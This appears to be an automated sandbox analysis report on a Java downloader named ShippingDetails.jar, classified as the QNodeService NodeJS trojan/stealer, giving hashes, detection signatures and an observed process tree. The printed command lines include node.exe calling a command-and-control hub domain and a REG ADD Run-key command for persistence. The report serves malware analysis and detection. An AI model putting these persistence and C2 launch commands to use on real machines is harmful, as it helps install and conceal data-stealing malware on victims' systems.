Analysis
-
max time kernel
150s -
max time network
140s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
23-10-2020 05:20
Static task
static1
Behavioral task
behavioral1
Sample
ShippingDetails.jar
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
ShippingDetails.jar
Resource
win10v200722
windows10_x64
0 signatures
0 seconds
General
-
Target
ShippingDetails.jar
-
Size
71KB
-
MD5
c77c08128e07abb40b1ba8e103c36c15
-
SHA1
786ada74eebc2a1241ec5378a6bf7ce7054bf684
-
SHA256
faca93e7d0a1be9a3f2247b350c553110a76a2277b693be15488d6cf33aca609
-
SHA512
84fd04cd31726e01f139ed47af30053d7574ea08611fa376bbf8518ba90f77c8107b40f0550483709d9dcf0f8c1589b3e7e567ab10535c6df0fab61f968f6d20
Score
10/10
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 2688 node.exe 3444 node.exe 2188 node.exe -
Loads dropped DLL 6 IoCs
pid Process 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\48e14081-3e8e-48d3-a826-376ae4f20919 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ad71-164.dat js behavioral2/files/0x000100000001ad71-167.dat js behavioral2/files/0x000100000001ad71-171.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 wtfismyip.com 22 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2688 node.exe 2688 node.exe 2688 node.exe 2688 node.exe 3444 node.exe 3444 node.exe 3444 node.exe 3444 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe 2188 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2164 wrote to memory of 3676 2164 java.exe 73 PID 2164 wrote to memory of 3676 2164 java.exe 73 PID 3676 wrote to memory of 2688 3676 javaw.exe 77 PID 3676 wrote to memory of 2688 3676 javaw.exe 77 PID 2688 wrote to memory of 3444 2688 node.exe 79 PID 2688 wrote to memory of 3444 2688 node.exe 79 PID 3444 wrote to memory of 2188 3444 node.exe 80 PID 3444 wrote to memory of 2188 3444 node.exe 80 PID 2188 wrote to memory of 1132 2188 node.exe 82 PID 2188 wrote to memory of 1132 2188 node.exe 82 PID 1132 wrote to memory of 3856 1132 cmd.exe 83 PID 1132 wrote to memory of 3856 1132 cmd.exe 83
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\ShippingDetails.jar1⤵
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b31cc2b6.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:3676 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain howard1.accesscam.org3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JyJNUr\boot.js --hub-domain howard1.accesscam.org4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_JyJNUr\boot.js --hub-domain howard1.accesscam.org5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "48e14081-3e8e-48d3-a826-376ae4f20919" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "48e14081-3e8e-48d3-a826-376ae4f20919" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:3856
-
-
-
-
-
-